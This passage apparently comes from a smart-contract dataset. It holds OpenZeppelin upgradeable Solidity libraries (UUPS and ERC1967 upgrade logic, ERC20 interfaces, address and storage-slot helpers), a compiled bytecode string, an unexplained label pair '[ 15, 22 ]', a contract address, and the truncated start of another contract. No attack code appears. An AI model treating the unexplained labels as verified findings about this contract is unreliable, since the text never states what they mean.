_upgradeToAndCallSecure(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal initializer { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal initializer { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106101405760003560e01c8063715018a6116100b6578063a457c2d71161006f578063a457c2d714610351578063a9059cbb14610371578063dbac26e914610391578063dd62ed3e146103c1578063f2fde38b14610407578063f9f92be41461042757600080fd5b8063715018a6146102b55780638129fc1c146102ca5780638456cb59146102df5780638da5cb5b146102f457806395d89b411461031c5780639b19251a1461033157600080fd5b80633659cfe6116101085780633659cfe6146101fb578063395093511461021d5780633f4ba83a1461023d5780634f1ef286146102525780635c975abb1461026557806370a082311461027f57600080fd5b806306fdde0314610145578063095ea7b31461017057806318160ddd146101a057806323b872dd146101bf578063313ce567146101df575b600080fd5b34801561015157600080fd5b5061015a610447565b6040516101679190611a0f565b60405180910390f35b34801561017c57600080fd5b5061019061018b3660046119c9565b6104d9565b6040519015158152602001610167565b3480156101ac57600080fd5b506035545b604051908152602001610167565b3480156101cb57600080fd5b506101906101da3660046118cb565b6104ef565b3480156101eb57600080fd5b5060405160128152602001610167565b34801561020757600080fd5b5061021b61021636600461187d565b6105a0565b005b34801561022957600080fd5b506101906102383660046119c9565b610669565b34801561024957600080fd5b5061021b6106a5565b61021b610260366004611907565b61071a565b34801561027157600080fd5b5060fb546101909060ff1681565b34801561028b57600080fd5b506101b161029a36600461187d565b6001600160a01b031660009081526033602052604090205490565b3480156102c157600080fd5b5061021b6107d4565b3480156102d657600080fd5b5061021b61080a565b3480156102eb57600080fd5b5061021b6108ea565b34801561030057600080fd5b506065546040516001600160a01b039091168152602001610167565b34801561032857600080fd5b5061015a610967565b34801561033d57600080fd5b5061021b61034c36600461187d565b610976565b34801561035d57600080fd5b5061019061036c3660046119c9565b610a29565b34801561037d57600080fd5b5061019061038c3660046119c9565b610ac2565b34801561039d57600080fd5b506101906103ac36600461187d565b60fc6020526000908152604090205460ff1681565b3480156103cd57600080fd5b506101b16103dc366004611898565b6001600160a01b03918216600090815260346020908152604080832093909416825291909152205490565b34801561041357600080fd5b5061021b61042236600461187d565b610bfb565b34801561043357600080fd5b5061021b61044236600461187d565b610c93565b60606036805461045690611baf565b80601f016020809104026020016040519081016040528092919081815260200182805461048290611baf565b80156104cf5780601f106104a4576101008083540402835291602001916104cf565b820191906000526020600020905b8154815290600101906020018083116104b257829003601f168201915b5050505050905090565b60006104e6338484610d4a565b50600192915050565b60006104fc848484610e6e565b6001600160a01b0384166000908152603460209081526040808320338452909152902054828110156105865760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6105938533858403610d4a565b60019150505b9392505050565b306001600160a01b037f000000000000000000000000f2174a0e280c00764089b4be0ec4bf4c9ec37d281614156105e95760405162461bcd60e51b815260040161057d90611a42565b7f000000000000000000000000f2174a0e280c00764089b4be0ec4bf4c9ec37d286001600160a01b031661061b61103e565b6001600160a01b0316146106415760405162461bcd60e51b815260040161057d90611a8e565b61064a8161106c565b6040805160008082526020820190925261066691839190611096565b50565b3360008181526034602090815260408083206001600160a01b038716845290915281205490916104e69185906106a0908690611b5d565b610d4a565b6065546001600160a01b031633146106cf5760405162461bcd60e51b815260040161057d90611b28565b60fb5460ff1661070e5760405162461bcd60e51b815260206004820152600a602482015269139bdd081c185d5cd95960b21b604482015260640161057d565b60fb805460ff19169055565b306001600160a01b037f000000000000000000000000f2174a0e280c00764089b4be0ec4bf4c9ec37d281614156107635760405162461bcd60e51b815260040161057d90611a42565b7f000000000000000000000000f2174a0e280c00764089b4be0ec4bf4c9ec37d286001600160a01b031661079561103e565b6001600160a01b0316146107bb5760405162461bcd60e51b815260040161057d90611a8e565b6107c48261106c565b6107d082826001611096565b5050565b6065546001600160a01b031633146107fe5760405162461bcd60e51b815260040161057d90611b28565b61080860006111e1565b565b600054610100900460ff1680610823575060005460ff16155b61083f5760405162461bcd60e51b815260040161057d90611ada565b600054610100900460ff16158015610861576000805461ffff19166101011790555b6108af6040518060400160405280600e81526020016d4d6169736f6e205265736572766560901b8152506040518060400160405280600681526020016526a0a4a9a7a760d11b815250611233565b6108b76112b3565b6108bf61131a565b6108d6336c01431e0fae6d7217caa0000000611381565b8015610666576000805461ff001916905550565b6065546001600160a01b031633146109145760405162461bcd60e51b815260040161057d90611b28565b60fb5460ff16156109585760405162461bcd60e51b815260206004820152600e60248201526d105b1c9958591e481c185d5cd95960921b604482015260640161057d565b60fb805460ff19166001179055565b60606037805461045690611baf565b6065546001600160a01b031633146109a05760405162461bcd60e51b815260040161057d90611b28565b6001600160a01b038116600090815260fc602052604090205460ff16610a085760405162461bcd60e51b815260206004820152601860248201527f5573657220616c72656164792077686974656c69737465640000000000000000604482015260640161057d565b6001600160a01b0316600090815260fc60205260409020805460ff19169055565b3360009081526034602090815260408083206001600160a01b038616845290915281205482811015610aab5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161057d565b610ab83385858403610d4a565b5060019392505050565b60fb5460009060ff1615610b075760405162461bcd60e51b815260206004820152600c60248201526b151bdad95b881c185d5cd95960a21b604482015260640161057d565b33600090815260fc602052604090205460ff1615610b725760405162461bcd60e51b815260206004820152602260248201527f596f752063616e6e6f742073656e64206f72207265636569766520746f6b656e604482015261399760f11b606482015260840161057d565b6001600160a01b038316600090815260fc602052604090205460ff1615610bf05760405162461bcd60e51b815260206004820152602c60248201527f54686520726563697069656e742063616e6e6f742073656e64206f722072656360448201526b32b4bb32903a37b5b2b7399760a11b606482015260840161057d565b6104e6338484610e6e565b6065546001600160a01b03163314610c255760405162461bcd60e51b815260040161057d90611b28565b6001600160a01b038116610c8a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161057d565b610666816111e1565b6065546001600160a01b03163314610cbd5760405162461bcd60e51b815260040161057d90611b28565b6001600160a01b038116600090815260fc602052604090205460ff1615610d265760405162461bcd60e51b815260206004820152601860248201527f5573657220616c726561647920626c61636b6c69737465640000000000000000604482015260640161057d565b6001600160a01b0316600090815260fc60205260409020805460ff19166001179055565b6001600160a01b038316610dac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161057d565b6001600160a01b038216610e0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161057d565b6001600160a01b0383811660008181526034602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ed25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161057d565b6001600160a01b038216610f345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161057d565b6001600160a01b03831660009081526033602052604090205481811015610fac5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161057d565b6001600160a01b03808516600090815260336020526040808220858503905591851681529081208054849290610fe3908490611b5d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161102f91815260200190565b60405180910390a35b50505050565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b6065546001600160a01b031633146106665760405162461bcd60e51b815260040161057d90611b28565b60006110a061103e565b90506110ab84611460565b6000835111806110b85750815b156110c9576110c78484611505565b505b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143805460ff166111da57805460ff191660011781556040516001600160a01b038316602482015261114890869060440160408051601f198184030181529190526020810180516001600160e01b0316631b2ce7f360e11b179052611505565b50805460ff1916815561115961103e565b6001600160a01b0316826001600160a01b0316146111d15760405162461bcd60e51b815260206004820152602f60248201527f45524331393637557067726164653a207570677261646520627265616b73206660448201526e75727468657220757067726164657360881b606482015260840161057d565b6111da856115f0565b5050505050565b606580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff168061124c575060005460ff16155b6112685760405162461bcd60e51b815260040161057d90611ada565b600054610100900460ff1615801561128a576000805461ffff19166101011790555b611292611630565b61129c838361169a565b80156112ae576000805461ff00191690555b505050565b600054610100900460ff16806112cc575060005460ff16155b6112e85760405162461bcd60e51b815260040161057d90611ada565b600054610100900460ff1615801561130a576000805461ffff19166101011790555b611312611630565b6108d661172f565b600054610100900460ff1680611333575060005460ff16155b61134f5760405162461bcd60e51b815260040161057d90611ada565b600054610100900460ff16158015611371576000805461ffff19166101011790555b611379611630565b6108d6611630565b6001600160a01b0382166113d75760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161057d565b80603560008282546113e99190611b5d565b90915550506001600160a01b03821660009081526033602052604081208054839290611416908490611b5d565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b803b6114c45760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b606482015260840161057d565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80546001600160a01b0319166001600160a01b0392909216919091179055565b6060823b6115645760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b606482015260840161057d565b600080846001600160a01b03168460405161157f91906119f3565b600060405180830381855af49150503d80600081146115ba576040519150601f19603f3d011682016040523d82523d6000602084013e6115bf565b606091505b50915091506115e78282604051806060016040528060278152602001611c016027913961178f565b95945050505050565b6115f981611460565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b600054610100900460ff1680611649575060005460ff16155b6116655760405162461bcd60e51b815260040161057d90611ada565b600054610100900460ff161580156108d6576000805461ffff19166101011790558015610666576000805461ff001916905550565b600054610100900460ff16806116b3575060005460ff16155b6116cf5760405162461bcd60e51b815260040161057d90611ada565b600054610100900460ff161580156116f1576000805461ffff19166101011790555b82516117049060369060208601906117c8565b5081516117189060379060208501906117c8565b5080156112ae576000805461ff0019169055505050565b600054610100900460ff1680611748575060005460ff16155b6117645760405162461bcd60e51b815260040161057d90611ada565b600054610100900460ff16158015611786576000805461ffff19166101011790555b6108d6336111e1565b6060831561179e575081610599565b8251156117ae5782518084602001fd5b8160405162461bcd60e51b815260040161057d9190611a0f565b8280546117d490611baf565b90600052602060002090601f0160209004810192826117f6576000855561183c565b82601f1061180f57805160ff191683800117855561183c565b8280016001018555821561183c579182015b8281111561183c578251825591602001919060010190611821565b5061184892915061184c565b5090565b5b80821115611848576000815560010161184d565b80356001600160a01b038116811461187857600080fd5b919050565b60006020828403121561188f57600080fd5b61059982611861565b600080604083850312156118ab57600080fd5b6118b483611861565b91506118c260208401611861565b90509250929050565b6000806000606084860312156118e057600080fd5b6118e984611861565b92506118f760208501611861565b9150604084013590509250925092565b6000806040838503121561191a57600080fd5b61192383611861565b9150602083013567ffffffffffffffff8082111561194057600080fd5b818501915085601f83011261195457600080fd5b81358181111561196657611966611bea565b604051601f8201601f19908116603f0116810190838211818310171561198e5761198e611bea565b816040528281528860208487010111156119a757600080fd5b8260208601602083013760006020848301015280955050505050509250929050565b600080604083850312156119dc57600080fd5b6119e583611861565b946020939093013593505050565b60008251611a05818460208701611b83565b9190910192915050565b6020815260008251806020840152611a2e816040850160208701611b83565b601f01601f19169190910160400192915050565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b19195b1959d85d1958d85b1b60a21b606082015260800190565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b6163746976652070726f787960a01b606082015260800190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611b7e57634e487b7160e01b600052601160045260246000fd5b500190565b60005b83811015611b9e578181015183820152602001611b86565b838111156110385750506000910152565b600181811c90821680611bc357607f821691505b60208210811415611be457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fdfe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c59dd3324bd25608a703600dac339ea2301d57243e0af6da2ad8afb23fa38f7e64736f6c63430008070033
[ 15, 22 ]
0xf2184cc0edd80fc010a2b4c142886b4d8758273b
pragma solidity ^0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint); /** * @dev Sets `amount` as the allowance of 